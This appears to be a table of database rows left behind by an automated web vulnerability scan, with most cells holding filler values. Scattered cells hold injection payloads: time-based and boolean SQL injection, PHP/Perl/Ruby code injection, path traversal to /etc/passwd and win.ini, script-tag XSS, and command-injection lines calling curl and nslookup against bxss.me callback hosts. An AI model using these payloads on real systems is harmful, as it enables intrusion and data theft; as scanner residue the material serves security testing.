1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	${@print(md5(31337))}	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	""";print(md5(31337));$a="""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	/etc/shells	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	gethostbyname(lc('hitzs'.'sunhkhzeab0f4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(77).chr(116).chr(68)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	../../../../../../../../../../../../../../etc/shells	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	';print(md5(31337));$a='	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"'A'.concat(70-3).concat(22*4).concat(103).concat(86).concat(103).concat(88)+(require'socket'
Socket.gethostbyname('hitqr'+'hnlmzxykc7208.bxss.me.')[3].to_s)"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"'+'A'.concat(70-3).concat(22*4).concat(119).concat(84).concat(116).concat(71)+(require'socket'
Socket.gethostbyname('hitit'+'rugoetyb5e57e.bxss.me.')[3].to_s)+'"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"""+""A"".concat(70-3).concat(22*4).concat(115).concat(87).concat(116).concat(74)+(require""socket""
Socket.gethostbyname(""hitnj""+""utpeonwve6764.bxss.me."")[3].to_s)+"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	bxss.me	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	c:/windows/win.ini	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	../../../../../../../../../../../../../../etc/shells	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	19675248	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	HttP://bxss.me/t/xss.html?%00	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"&(nslookup${IFS}-q${IFS}cname${IFS}hitbctqhuifus904f8.bxss.me||curl${IFS}hitbctqhuifus904f8.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hitbctqhuifus904f8.bxss.me||curl${IFS}hitbctqhuifus904f8.bxss.me)&`'"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	19150516	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU-1 waitfor delay '0:0:15' -- 	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	file:///etc/passwd	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	;(nslookup -q=cname hitxtcjzytmzz323e8.bxss.me||curl hitxtcjzytmzz323e8.bxss.me)|(nslookup -q=cname hitxtcjzytmzz323e8.bxss.me||curl hitxtcjzytmzz323e8.bxss.me)&(nslookup -q=cname hitxtcjzytmzz323e8.bxss.me||curl hitxtcjzytmzz323e8.bxss.me)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"1����%2527%2522\'\"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	19174404	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	../../../../../../../../../../../../../../etc/passwd	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	`(nslookup -q=cname hituiuzqnhwmb1256b.bxss.me||curl hituiuzqnhwmb1256b.bxss.me)`	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	|(nslookup -q=cname hitjhcqhwyyoza0a0c.bxss.me||curl hitjhcqhwyyoza0a0c.bxss.me)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	<!--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	941029883077	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"&(nslookup -q=cname hittmucuxvpszf1153.bxss.me||curl hittmucuxvpszf1153.bxss.me)&'\""`0&(nslookup -q=cname hittmucuxvpszf1153.bxss.me||curl hittmucuxvpszf1153.bxss.me)&`'"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"1'"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"&nslookup -q=cname hitrkhpqpjffk06667.bxss.me&'\""`0&nslookup -q=cname hitrkhpqpjffk06667.bxss.me&`'"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"'""()&%<zzz><ScRiPt >V1xQ(9618)</ScRiPt>"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"94102'""()&%<zzz><ScRiPt >V1xQ(9788)</ScRiPt>"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"""+response.write(9480809*9849701)+"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	cRFEutu6: zX8W9TPY	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	${9999936+9999216}	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	';print(md5(31337));$a='	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	'.gethostbyname(lc('hitrq'.'kecjdmvte51e8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(69).chr(98).chr(78).'	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	""";print(md5(31337));$a="""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1' OR 5*5=25 -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	""".gethostbyname(lc(""hityc"".""iphllfzgedd67.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(117).chr(81).chr(106).chr(74)."""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	${@print(md5(31337))}	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1' OR 5*5=26 -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	${@print(md5(31337))}\	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMUJK0lRmqT')) OR 826=(SELECT 826 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	../../../../../../../../../../../../../../windows/win.ini	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	/etc/shells	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	c:/windows/win.ini	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	../1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	Http://bxss.me/t/fit.txt	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	@@FwW6P	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU����%2527%2522\'\"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"ncMUFCMU'"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	(select 198766*667891)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	19021564	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	gethostbyname(lc('hitod'.'livzomyh3174d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(86).chr(100).chr(72)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	19840850	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	'.gethostbyname(lc('hitwq'.'xaqgnksdf6bd5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(87).chr(108).chr(90).'	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	../../../../../../../../../../../../../../etc/passwd	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	../../../../../../../../../../../../../../windows/win.ini	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"'""()&%<zzz><ScRiPt >V1xQ(9344)</ScRiPt>"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	19749038	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	(select 198766*667891 from DUAL)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	(select 198766*667891)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	@@moOMi	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"1����%2527%2522\'\"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"1'"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1LyTs15rU')) OR 881=(SELECT 881 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1oJ7TIWAd' OR 877=(SELECT 877 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1-1)) OR 917=(SELECT 917 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1-1) OR 885=(SELECT 885 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1-1 OR 432=(SELECT 432 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1sCBFQjEF'; waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1-1 waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1-1); waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1-1; waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1*if(now()=sysdate(),sleep(15),0)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"-1"" OR 5*5=25 or ""417LH9zG""="""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"-1"" OR 5*5=25 -- "	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1' OR 5*5=26 -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1' OR 5*5=25 -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1 OR 5*5=26	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1 OR 5*5=25	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1 OR 5*5=26 -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1 OR 5*5=25 -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1IY1V98Iy	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1-1 OR 176=(SELECT 176 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1lHmqHUFP'; waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"-1"" OR 5*5=26 or ""417LH9zG""="""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1' OR 5*5=26 or 'wa8edcfn'='	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1' OR 5*5=25 or 'wa8edcfn'='	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"-1"" OR 5*5=26 -- "	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMURFxnrsZd') OR 131=(SELECT 131 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU-1 waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	if(now()=sysdate(),sleep(15),0)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	-1 OR 5*5=25 -- 	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1pHj50OQ8'; waitfor delay '0:0:15' -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
